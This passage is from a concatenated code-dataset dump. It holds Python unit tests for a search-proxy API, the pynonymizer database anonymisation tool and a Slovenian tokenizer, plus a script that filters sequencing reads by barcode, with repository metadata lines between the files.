[ '/api/v2/search/type', '/api/v2/search/type/', '/api/v2/search/type/id/some/thing/else', '/api/v2/search/type/id/some/thing/else/', '/api/v2/search/type/id/_search', '/api/v2/search/type/id/_search/', '/api/v2/search/type/id/some/thing/else/_search', '/api/v2/search/type/id/some/thing/else/_search/', '/api/v2/search/type/id/some/thing/else/_count', '/api/v2/search/type/id/some/thing/else/_count/', '/api/v2/search/_coun', '/api/v2/search/__count', '/api/v2/search/_counttttttttttt', '/api/v2/search/_sear', '/api/v2/search/__search', '/api/v2/search/_searchh', '/api/v2/search/_mapping', '/api/v2/search/__mappings', '/api/v2/search/_mappingss', ]) def test_limitted_get(self, url, client): with mock.patch('api.search.views.requests.get') as get: get.return_value = mock.Mock(status_code=500, json=lambda: {}) assert client.post(url).status_code == 403 def test_post_search(self, client): urls = ( '/api/v2/search/_search', '/api/v2/search/_search/', '/api/v2/search/_suggest', '/api/v2/search/_suggest/', '/api/v2/search/type/_count', '/api/v2/search/type/_count/', '/api/v2/search/type/_search', '/api/v2/search/type/_search/', '/api/v2/search/type/_suggest', '/api/v2/search/type/_suggest/', ) with mock.patch('api.search.views.requests.post') as post: post.return_value = mock.Mock(status_code=200, json=lambda: {}) for url in urls: assert client.post(url, '{}', content_type='application/json').status_code == 200 def test_cannot_post(self, client): urls = ( '/api/v2/search/_mappings/', '/api/v2/search/_mappings', '/api/v2/search/_mappings/creativeworks', '/api/v2/search/_mappings/creativeworks/', ) with mock.patch('api.search.views.requests.post') as post: post.return_value = mock.Mock(status_code=500, json=lambda: {}) for url in urls: assert client.post(url, '{}', content_type='application/json').status_code == 405 @pytest.mark.parametrize('url', [ '/api/v2/search/_search', '/api/v2/search/_search/', '/api/v2/search/type/_count', '/api/v2/search/type/_count/', '/api/v2/search/type/_search', '/api/v2/search/type/_search/', '/api/v2/search/_mappings/', '/api/v2/search/_mappings', '/api/v2/search/_mappings/creativeworks', '/api/v2/search/_mappings/creativeworks/', '/api/v2/search/creativeworks/some-id', '/api/v2/search/creativeworks/some-id/', '/api/v2/search/agent/some-id/', '/api/v2/search/agent/some_id/', ]) def test_get_search(self, url, client): with mock.patch('api.search.views.requests.get') as get: get.return_value = mock.Mock(status_code=200, json=lambda: {}) assert client.get(url).status_code == 200 def test_cannot_get(self, client): urls = ( '/api/v2/search/_suggest', '/api/v2/search/_suggest/', '/api/v2/search/type/_suggest', '/api/v2/search/type/_suggest/', ) with mock.patch('api.search.views.requests.get') as get: get.return_value = mock.Mock(status_code=500, json=lambda: {}) for url in urls: assert client.get(url).status_code == 405 def test_elastic_proxy(self, client, elastic): with mock.patch('api.search.views.requests.get') as get: get.return_value = mock.Mock(status_code=200, json=lambda: {}) client.get('/api/v2/search/_search') elastic_url = furl('{}{}/{}'.format(elastic.es_url, elastic.es_index, '_search')) get.assert_called_with(elastic_url)

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null

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0

1

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null

0

7

e1498976356a84e48973f123e26d5a648d86d28e

22,272

py

Python

tests/test_main.py

HenkWillcock/pynonymizer

8ae39449be46da3f6ed87eaced50485160fbf21d

[ "MIT" ]

null

tests/test_main.py

HenkWillcock/pynonymizer

8ae39449be46da3f6ed87eaced50485160fbf21d

[ "MIT" ]

null

tests/test_main.py

HenkWillcock/pynonymizer

8ae39449be46da3f6ed87eaced50485160fbf21d

[ "MIT" ]

null

import pytest import unittest from unittest.mock import patch, Mock, mock_open from pynonymizer.__main__ import main from pynonymizer.pynonymize import ArgumentValidationError, DatabaseConnectionError, pynonymize from types import SimpleNamespace def test_pynonymize_missing_db_credentials(): with pytest.raises(ArgumentValidationError): pynonymize( input_path="input.sql", strategyfile_path="strategyfile.yml", output_path="output.sql", db_user=None, db_password=None ) @patch("dotenv.find_dotenv") @patch("dotenv.load_dotenv") @patch("pynonymizer.__main__.create_parser") @patch("pynonymizer.__main__.pynonymize", autospec=True) class MainArgTests(unittest.TestCase): def setUp(self): self.parsed_args = SimpleNamespace( legacy_input=None, legacy_strategyfile=None, legacy_output=None, input="TEST_INPUT", strategyfile="TEST_STRATEGYFILE", output="TEST_OUTPUT", db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", start_at_step="TEST_START_AT_STEP", skip_steps=["TEST_SKIP_1", "TEST_SKIP_2"], stop_at_step="TEST_STOP_AT_STEP", seed_rows=None, mssql_backup_compression=False, mysql_dump_opts="--compatible=mysql4 --max_allowed_packet=1024M", dry_run=True, verbose=True ) def test_dotenv_called(self, pynonymize, create_parser, load_dotenv, find_dotenv): """ dotenv should be called """ parser_mock = Mock(parse_args=Mock(return_value=self.parsed_args)) create_parser.return_value = parser_mock main([]) find_dotenv.assert_called() load_dotenv.assert_called() def test_arg_pass_legacy_override(self, pynonymize, create_parser, load_dotenv, find_dotenv): """ the parsed set of args should be passed to the pynonymize main function legacy args should override normal ones to account for old positional behaviour """ self.parsed_args.legacy_input = "LEGACY_INPUT" self.parsed_args.legacy_strategyfile = "LEGACY_STRATEGYFILE" self.parsed_args.legacy_output = "LEGACY_OUTPUT" parser_mock = Mock(parse_args=Mock(return_value=self.parsed_args)) create_parser.return_value = parser_mock main([]) create_parser.assert_called() parser_mock.parse_args.assert_called() call_kwargs = pynonymize.call_args[1] assert call_kwargs["input_path"] == "LEGACY_INPUT" assert call_kwargs["strategyfile_path"] == "LEGACY_STRATEGYFILE" assert call_kwargs["output_path"] == "LEGACY_OUTPUT" def test_arg_pass_normal(self, pynonymize, create_parser, load_dotenv, find_dotenv): """ the parsed set of args should be passed to the pynonymize main function """ parser_mock = Mock(parse_args=Mock(return_value=self.parsed_args)) create_parser.return_value = parser_mock main([]) create_parser.assert_called() parser_mock.parse_args.assert_called() pynonymize.assert_called_once_with( input_path="TEST_INPUT", strategyfile_path="TEST_STRATEGYFILE", output_path="TEST_OUTPUT", db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", start_at_step="TEST_START_AT_STEP", skip_steps=["TEST_SKIP_1", "TEST_SKIP_2"], stop_at_step="TEST_STOP_AT_STEP", seed_rows=None, mssql_backup_compression=False, mysql_dump_opts="--compatible=mysql4 --max_allowed_packet=1024M", dry_run=True, verbose=True ) @patch("dotenv.find_dotenv", Mock()) @patch("dotenv.load_dotenv", Mock()) @patch("pynonymizer.__main__.create_parser", Mock()) @patch("pynonymizer.__main__.pynonymize", Mock(side_effect=ArgumentValidationError(["test validation"]))) def test_sysexit_on_argument_invalid(): """ If pynonymize throws an argument validation error, main should exit with err 2 """ with pytest.raises(SystemExit) as e_info: main(["blah"]) assert e_info.value.code == 2 @patch("dotenv.find_dotenv", Mock()) @patch("dotenv.load_dotenv", Mock()) @patch("pynonymizer.__main__.create_parser", Mock()) @patch("pynonymizer.__main__.pynonymize", Mock(side_effect=DatabaseConnectionError())) def test_sysexit_on_database_connection_error(): """ If pynonymize throws an argument validation error, main should exit with err 1 """ with pytest.raises(SystemExit) as e_info: main(["blah"]) assert e_info.value.code == 1 @patch("dotenv.find_dotenv", Mock()) @patch("dotenv.load_dotenv", Mock()) @patch("pynonymizer.pynonymize.read_config") @patch("pynonymizer.pynonymize.get_provider") @patch("pynonymizer.pynonymize.FakeColumnGenerator") @patch("pynonymizer.pynonymize.StrategyParser") @patch("builtins.open", mock_open(read_data="TESTFILEDATA")) class MainProcessTests(unittest.TestCase): def test_any_db_kwarg(self, StrategyParser, FakeColumnSet, get_provider, read_config): """ test that dynamic args are passed to the provider properly e.g. mssql_blah """ pynonymize( input_path="TEST_INPUT", strategyfile_path="TEST_STRATEGYFILE", output_path="TEST_OUTPUT", db_type="mssql", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", mysql_other_amazing_var="TEST_DYNAMIC_VAR", # as this is mssql, this should be ignored mssql_special_provider_var="TEST_DYNAMIC_VAR2" ) StrategyParser.return_value.parse_config.assert_called() get_provider.assert_called_with(type="mssql", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=150, special_provider_var="TEST_DYNAMIC_VAR2") def test_pynonymize_main_process(self, StrategyParser, FakeColumnSet, get_provider, read_config): """ a rough smoke test for the main process. This needs an integration test to back it up. """ pynonymize( input_path="TEST_INPUT", strategyfile_path="TEST_STRATEGYFILE", output_path="TEST_OUTPUT", db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", seed_rows=999 ) StrategyParser.return_value.parse_config.assert_called() get_provider.assert_called_with(type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=999) provider = get_provider.return_value provider.create_database.assert_called() provider.restore_database.assert_called() provider.anonymize_database.assert_called() provider.dump_database.assert_called() provider.drop_database.assert_called() def test_pynonymize_stop_at_step(self, StrategyParser, FakeColumnSet, get_provider, read_config): pynonymize( input_path="TEST_INPUT", strategyfile_path="TEST_STRATEGYFILE", output_path="TEST_OUTPUT", db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", stop_at_step="ANONYMIZE_DB" ) StrategyParser.return_value.parse_config.assert_called() get_provider.assert_called_with(type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=150) provider = get_provider.return_value provider.create_database.assert_called() provider.restore_database.assert_called() provider.anonymize_database.assert_called() provider.dump_database.assert_not_called() provider.drop_database.assert_not_called() def test_pynonymize_skip_steps(self, StrategyParser, FakeColumnSet, get_provider, read_config): pynonymize( input_path="TEST_INPUT", strategyfile_path="TEST_STRATEGYFILE", output_path="TEST_OUTPUT", db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", skip_steps=["ANONYMIZE_DB", "CREATE_DB", "DUMP_DB"] ) get_provider.assert_called_with(type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=150) provider = get_provider.return_value provider.create_database.assert_not_called() provider.restore_database.assert_called() provider.anonymize_database.assert_not_called() provider.dump_database.assert_not_called() provider.drop_database.assert_called() def test_pynonymize_start_at_step(self, StrategyParser, FakeColumnSet, get_provider, read_config): pynonymize( input_path="TEST_INPUT", strategyfile_path="TEST_STRATEGYFILE", output_path="TEST_OUTPUT", db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", start_at_step="ANONYMIZE_DB" ) StrategyParser.return_value.parse_config.assert_called() get_provider.assert_called_with(type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=150) provider = get_provider.return_value provider.create_database.assert_not_called() provider.restore_database.assert_not_called() provider.anonymize_database.assert_called() provider.dump_database.assert_called() provider.drop_database.assert_called() @patch("dotenv.find_dotenv", Mock()) @patch("dotenv.load_dotenv", Mock()) @patch("pynonymizer.pynonymize.read_config") @patch("pynonymizer.pynonymize.get_provider") @patch("pynonymizer.pynonymize.FakeColumnGenerator") @patch("pynonymizer.pynonymize.StrategyParser") @patch("builtins.open", mock_open(read_data="TESTFILEDATA")) class OptionalArgumentsSkippedTests(unittest.TestCase): """ pynonymize should not throw argument validation errors for missing "mandatory" args that are only mandatory for certain steps. START = 0 GET_SOURCE = 100 CREATE_DB = 200 RESTORE_DB = 300 ANONYMIZE_DB = 400 DUMP_DB = 500 DROP_DB = 600 END = 9999 """ def test_optional_input_when_skip_input_steps(self, StrategyParser, FakeColumnSet, get_provider, read_config): pynonymize( input_path=None, strategyfile_path="TEST_STRATEGYFILE", output_path="TEST_OUTPUT", db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", start_at_step=None, stop_at_step=None, skip_steps=["RESTORE_DB"] ) StrategyParser.return_value.parse_config.assert_called() get_provider.assert_called_with(type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=150) provider = get_provider.return_value provider.create_database.assert_called() provider.restore_database.assert_not_called() provider.anonymize_database.assert_called() provider.dump_database.assert_called() provider.drop_database.assert_called() def test_optional_input_when_start_at_after_input_steps(self, StrategyParser, FakeColumnSet, get_provider, read_config): pynonymize( input_path=None, strategyfile_path="TEST_STRATEGYFILE", output_path="TEST_OUTPUT", db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", start_at_step="ANONYMIZE_DB", stop_at_step=None, skip_steps=None ) StrategyParser.return_value.parse_config.assert_called() get_provider.assert_called_with(type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=150) provider = get_provider.return_value provider.create_database.assert_not_called() provider.restore_database.assert_not_called() provider.anonymize_database.assert_called() provider.dump_database.assert_called() provider.drop_database.assert_called() def test_optional_input_when_stop_at_before_input_steps(self, StrategyParser, FakeColumnSet, get_provider, read_config): pynonymize( input_path=None, strategyfile_path="TEST_STRATEGYFILE", output_path="TEST_OUTPUT", db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", start_at_step=None, stop_at_step="CREATE_DB", skip_steps=None ) get_provider.assert_called_with(type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=150) provider = get_provider.return_value provider.create_database.assert_called() provider.restore_database.assert_not_called() provider.anonymize_database.assert_not_called() provider.dump_database.assert_not_called() provider.drop_database.assert_not_called() def test_optional_strategyfile_when_skip_anonymize(self, StrategyParser, FakeColumnSet, get_provider, read_config): pynonymize( input_path="TEST_INPUT", strategyfile_path=None, output_path="TEST_OUTPUT", db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", start_at_step=None, stop_at_step=None, skip_steps=["ANONYMIZE_DB"] ) get_provider.assert_called_with(type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=150) provider = get_provider.return_value provider.create_database.assert_called() provider.restore_database.assert_called() provider.anonymize_database.assert_not_called() provider.dump_database.assert_called() provider.drop_database.assert_called() def test_optional_strategyfile_when_start_at_after_anonymize(self, StrategyParser, FakeColumnSet, get_provider, read_config): pynonymize( input_path="TEST_INPUT", strategyfile_path=None, output_path="TEST_OUTPUT", db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", start_at_step="DUMP_DB", stop_at_step=None, skip_steps=None ) get_provider.assert_called_with(type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=150) provider = get_provider.return_value provider.create_database.assert_not_called() provider.restore_database.assert_not_called() provider.anonymize_database.assert_not_called() provider.dump_database.assert_called() provider.drop_database.assert_called() def test_optional_strategyfile_when_stop_at_before_anonymize(self, StrategyParser, FakeColumnSet, get_provider, read_config): pynonymize( input_path="TEST_INPUT", strategyfile_path=None, output_path="TEST_OUTPUT", db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", start_at_step=None, stop_at_step="RESTORE_DB", skip_steps=None ) get_provider.assert_called_with(type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=150) provider = get_provider.return_value provider.create_database.assert_called() provider.restore_database.assert_called() provider.anonymize_database.assert_not_called() provider.dump_database.assert_not_called() provider.drop_database.assert_not_called() def test_optional_output_when_skip_output_steps(self, StrategyParser, FakeColumnSet, get_provider, read_config): pynonymize( input_path="TEST_INPUT", strategyfile_path="TEST_STRATEGYFILE", output_path=None, db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", start_at_step=None, stop_at_step=None, skip_steps=["DUMP_DB"] ) StrategyParser.return_value.parse_config.assert_called() get_provider.assert_called_with(type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=150) provider = get_provider.return_value provider.create_database.assert_called() provider.restore_database.assert_called() provider.anonymize_database.assert_called() provider.dump_database.assert_not_called() provider.drop_database.assert_called() def test_optional_output_when_start_at_after_output_steps(self, StrategyParser, FakeColumnSet, get_provider, read_config): pynonymize( input_path="TEST_INPUT", strategyfile_path="TEST_STRATEGYFILE", output_path=None, db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", start_at_step="DROP_DB", stop_at_step=None, skip_steps=None ) get_provider.assert_called_with(type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=150) provider = get_provider.return_value provider.create_database.assert_not_called() provider.restore_database.assert_not_called() provider.anonymize_database.assert_not_called() provider.dump_database.assert_not_called() provider.drop_database.assert_called() def test_optional_output_when_stop_at_before_output_steps(self, StrategyParser, FakeColumnSet, get_provider, read_config): pynonymize( input_path="TEST_INPUT", strategyfile_path="TEST_STRATEGYFILE", output_path=None, db_type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_name="TEST_NAME", db_user="TEST_USER", db_password="TEST_PASSWORD", fake_locale="TEST_LOCALE", start_at_step=None, stop_at_step=None, skip_steps=["DUMP_DB"] ) StrategyParser.return_value.parse_config.assert_called() get_provider.assert_called_with(type="TEST_TYPE", db_host="TEST_HOST", db_port="TEST_PORT", db_user="TEST_USER", db_pass="TEST_PASSWORD", db_name="TEST_NAME", seed_rows=150) provider = get_provider.return_value provider.create_database.assert_called() provider.restore_database.assert_called() provider.anonymize_database.assert_called() provider.dump_database.assert_not_called() provider.drop_database.assert_called()

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null

0

1

0

8

e1519342f85347775bd32cc5b68349173ed0bc52

3,764

py

Python

tests_classla/test_tokenizer.py

clarinsi/classla-stanfordnlp

25fb417f6b4a2bc52c1bf89ee55eddbc256cbc19

[ "Apache-2.0" ]

12

2019-11-25T14:51:21.000Z

2021-02-21T16:59:38.000Z

tests_classla/test_tokenizer.py

clarinsi/classla

229148f3942ff3428741f4004b7d6643b8a4dc45

[ "Apache-2.0" ]

23

2021-03-12T13:17:17.000Z

2022-02-14T08:56:53.000Z

tests_classla/test_tokenizer.py

clarinsi/classla

229148f3942ff3428741f4004b7d6643b8a4dc45

[ "Apache-2.0" ]

7

2021-04-04T15:04:27.000Z

2022-02-20T17:33:39.000Z

""" Basic testing of tokenization """ import classla from tests_classla import * SL_DOC = "France Prešeren je bil rojen v Vrbi. Danes je poznan kot največji slovenski pesnik. Študiral je na Dunaju." SL_DOC_GOLD_TOKENS = """ <Token id=1;words=[<Word id=1;text=France>]> <Token id=2;words=[<Word id=2;text=Prešeren>]> <Token id=3;words=[<Word id=3;text=je>]> <Token id=4;words=[<Word id=4;text=bil>]> <Token id=5;words=[<Word id=5;text=rojen>]> <Token id=6;words=[<Word id=6;text=v>]> <Token id=7;words=[<Word id=7;text=Vrbi>]> <Token id=8;words=[<Word id=8;text=.>]> <Token id=1;words=[<Word id=1;text=Danes>]> <Token id=2;words=[<Word id=2;text=je>]> <Token id=3;words=[<Word id=3;text=poznan>]> <Token id=4;words=[<Word id=4;text=kot>]> <Token id=5;words=[<Word id=5;text=največji>]> <Token id=6;words=[<Word id=6;text=slovenski>]> <Token id=7;words=[<Word id=7;text=pesnik>]> <Token id=8;words=[<Word id=8;text=.>]> <Token id=1;words=[<Word id=1;text=Študiral>]> <Token id=2;words=[<Word id=2;text=je>]> <Token id=3;words=[<Word id=3;text=na>]> <Token id=4;words=[<Word id=4;text=Dunaju>]> <Token id=5;words=[<Word id=5;text=.>]> """.strip() SL_DOC_PRETOKENIZED = \ "France Prešeren je bil rojen v Vrbi .\nDanes je poznan kot največji slovenski pesnik .\n\nŠtudiral je na Dunaju.\n" SL_DOC_PRETOKENIZED_GOLD_TOKENS = """ <Token id=1;words=[<Word id=1;text=France>]> <Token id=2;words=[<Word id=2;text=Prešeren>]> <Token id=3;words=[<Word id=3;text=je>]> <Token id=4;words=[<Word id=4;text=bil>]> <Token id=5;words=[<Word id=5;text=rojen>]> <Token id=6;words=[<Word id=6;text=v>]> <Token id=7;words=[<Word id=7;text=Vrbi>]> <Token id=8;words=[<Word id=8;text=.>]> <Token id=1;words=[<Word id=1;text=Danes>]> <Token id=2;words=[<Word id=2;text=je>]> <Token id=3;words=[<Word id=3;text=poznan>]> <Token id=4;words=[<Word id=4;text=kot>]> <Token id=5;words=[<Word id=5;text=največji>]> <Token id=6;words=[<Word id=6;text=slovenski>]> <Token id=7;words=[<Word id=7;text=pesnik>]> <Token id=8;words=[<Word id=8;text=.>]> <Token id=1;words=[<Word id=1;text=Študiral>]> <Token id=2;words=[<Word id=2;text=je>]> <Token id=3;words=[<Word id=3;text=na>]> <Token id=4;words=[<Word id=4;text=Dunaju.>]> """.strip() SL_DOC_PRETOKENIZED_LIST = [['France', 'Prešeren', 'je', 'bil', 'rojen', 'v', 'Vrbi', '.'], ['Danes', 'živi', 'v', 'poeziji', '.']] SL_DOC_PRETOKENIZED_LIST_GOLD_TOKENS = """ <Token id=1;words=[<Word id=1;text=France>]> <Token id=2;words=[<Word id=2;text=Prešeren>]> <Token id=3;words=[<Word id=3;text=je>]> <Token id=4;words=[<Word id=4;text=bil>]> <Token id=5;words=[<Word id=5;text=rojen>]> <Token id=6;words=[<Word id=6;text=v>]> <Token id=7;words=[<Word id=7;text=Vrbi>]> <Token id=8;words=[<Word id=8;text=.>]> <Token id=1;words=[<Word id=1;text=Danes>]> <Token id=2;words=[<Word id=2;text=živi>]> <Token id=3;words=[<Word id=3;text=v>]> <Token id=4;words=[<Word id=4;text=poeziji>]> <Token id=5;words=[<Word id=5;text=.>]> """.strip() def test_tokenize(): nlp = classla.Pipeline(processors='tokenize', dir=TEST_MODELS_DIR, lang='sl') doc = nlp(SL_DOC) assert SL_DOC_GOLD_TOKENS == '\n\n'.join([sent.tokens_string() for sent in doc.sentences]) def test_pretokenized(): nlp = classla.Pipeline(**{'processors': 'tokenize', 'dir': TEST_MODELS_DIR, 'lang': 'sl', 'tokenize_pretokenized': True}) doc = nlp(SL_DOC_PRETOKENIZED) assert SL_DOC_PRETOKENIZED_GOLD_TOKENS == '\n\n'.join([sent.tokens_string() for sent in doc.sentences]) doc = nlp(SL_DOC_PRETOKENIZED_LIST) assert SL_DOC_PRETOKENIZED_LIST_GOLD_TOKENS == '\n\n'.join([sent.tokens_string() for sent in doc.sentences])

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1

0

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null

0

8

beca77ca554c03b5eb7d500fa14347dd68771958

4,336

py

Python

src/script/filter_reads.py

guangyu-zhou/scRNA-Clustering

814360bdc596596f84dcf1b585d323dfcd7b97a6

[ "MIT" ]

2

2019-07-07T05:30:13.000Z

2019-07-19T04:46:53.000Z

src/script/filter_reads.py

guangyu-zhou/scRNA-Clustering

814360bdc596596f84dcf1b585d323dfcd7b97a6

[ "MIT" ]

null

src/script/filter_reads.py

guangyu-zhou/scRNA-Clustering

814360bdc596596f84dcf1b585d323dfcd7b97a6

[ "MIT" ]

1

2018-08-31T11:32:44.000Z

# awk -F" " '{print $1}' E31_REP1_HKT73BGX2_1.fastq | grep '^@' > E31_REP1_HKT73BGX2_all_reads.fastq # diff --new-line-format="" --unchanged-line-format="" <(sort E31_REP1_HKT73BGX2_all_reads.fastq) <(sort E31_REP1_HKT73BGX2_reads_filtered.fastq) > E31_REP1_HKT73BGX2_removed.fastq import matplotlib as mpl mpl.use('Agg') # import matplotlib.pyplot as plt import numpy as np import math import pylab as plt def process_individual(): path = '/home/zgy_ucla_cs/data/dropSeq/' low_qual_reads = set() with open(path + "E31_REP1_HKT73BGX2_removed.fastq") as infile0: for line in infile0: line = line.strip() low_qual_reads.add(line) # break print ("done with low_qual_reads reading") # print(len(low_qual_reads), low_qual_reads) bar_read = {} with open(path + "E31_REP1_HKT73BGX2_1.fastq") as infile: count = 0 readname = '' barcode = '' for line in infile: line = line.strip() count+=1 if count % 1000000 == 0: print(count) if count % 4 == 1: readname = line.split()[0] # print(readname) if count % 4 == 2: barcode = line if count % 4 == 3 and readname not in low_qual_reads: # if count % 4 == 3: # if readname in low_qual_reads: # print readname if barcode not in bar_read: bar_read[barcode] = [readname] else: bar_read[barcode].append(readname) # if count > 100000: # break print("Bar size", len(bar_read)) f1 = open(path + "E31_REP1_HKT73BGX2_cluster_1.fastq", 'w+') f_other = open(path + "E31_REP1_HKT73BGX2_cluster_other.fastq", 'w+') for key in bar_read.keys(): list1 = bar_read[key] str1 = ' '.join(list1) if len(list1) == 1: f1.write(key + ' ' + str1 + '\n') else: f_other.write(key + ' ' + str1 + '\n') print("start plotting histogram") read_cluster_size = [] for elem in bar_read.values(): if len(elem) > 1: read_cluster_size.append(len(elem)) # print read_cluster_size bins = np.linspace(math.ceil(min(read_cluster_size)), math.floor(max(read_cluster_size)), 100) # fixed number of bins plt.hist(read_cluster_size, bins = bins) # arguments are passed to np.histogram plt.title("Histogram with 100 bins, log scale") plt.gca().set_yscale("log") plt.savefig(path + "E31_REP1_HKT73BGX2_cluster_size.png") def process_all(): path = '/home/zgy_ucla_cs/data/dropSeq/' low_qual_reads = set() rep_names = ['E31_REP1_HKT73BGX2', 'E31_REP2_HHN7NBGX3', 'E31_REP3_HHNKFBGX3'] for rep in rep_names: with open(path + rep+ "_removed.fastq") as infile0: for line in infile0: line = line.strip() low_qual_reads.add(line) # break print ("done with low_qual_reads reading", len(low_qual_reads)) bar_read = {} for rep in rep_names: with open(path + rep + "_1.fastq") as infile: print("processing", rep) count = 0 readname = '' barcode = '' for line in infile: line = line.strip() count+=1 if count % 1000000 == 0: print(count) if count % 4 == 1: readname = line.split()[0] # print(readname) if count % 4 == 2: barcode = line if count % 4 == 3 and readname not in low_qual_reads: # if count % 4 == 3: # if readname in low_qual_reads: # print readname if barcode not in bar_read: bar_read[barcode] = [readname] else: bar_read[barcode].append(readname) # if count > 100000: # break print("Bar size", len(bar_read)) f1 = open(path + "All_cluster_1.fastq", 'w+') f_other = open(path + "All_cluster_other.fastq", 'w+') for key in bar_read.keys(): list1 = bar_read[key] str1 = ' '.join(list1) if len(list1) == 1: f1.write(key + ' ' + str1 + '\n') else: f_other.write(key + ' ' + str1 + '\n') print("start plotting histogram") read_cluster_size = [] for elem in bar_read.values(): if len(elem) > 0: read_cluster_size.append(len(elem)) # print read_cluster_size np.save(path + 'All_cluster_size', np.array(read_cluster_size)) bins = np.linspace(math.ceil(min(read_cluster_size)), math.floor(max(read_cluster_size)), 500) # fixed number of bins plt.hist(read_cluster_size, bins = bins) # arguments are passed to np.histogram plt.title("Cluster size distritbuion, log scale") plt.gca().set_yscale("log") plt.savefig(path + "All_cluster_size.png") process_all()

27.794872

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0.190402

0.069004

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Python

hello_world_python_package/__init__.py

jlimahaverford/hello_world_python_package

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hello_world_python_package/__init__.py

jlimahaverford/hello_world_python_package

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hello_world_python_package/__init__.py

jlimahaverford/hello_world_python_package

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Python

swearjar/GUI/Tabs/__init__.py

CptJamesCook/SwearJar

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swearjar/GUI/Tabs/__init__.py

CptJamesCook/SwearJar

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swearjar/GUI/Tabs/__init__.py

CptJamesCook/SwearJar

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"""Import all the tabs on import of module.""" from swearjar.GUI.Tabs.guiTab import GUITab from swearjar.GUI.Tabs.tabEx1 import tabEx1 from swearjar.GUI.Tabs.tabEx2 import tabEx2

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Python

tests/test_audit.py

ukanga/pyxform

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tests/test_audit.py

ukanga/pyxform

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2022-03-29T16:37:22.000Z

tests/test_audit.py

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Python

sympy/assumptions/tests/test_query.py

benjaminmcdonald/sympy

dc44dcc6d6d5f2d0a7ede35eff5f421ab4b11a3e

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sympy/assumptions/tests/test_query.py

benjaminmcdonald/sympy

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null

sympy/assumptions/tests/test_query.py

benjaminmcdonald/sympy

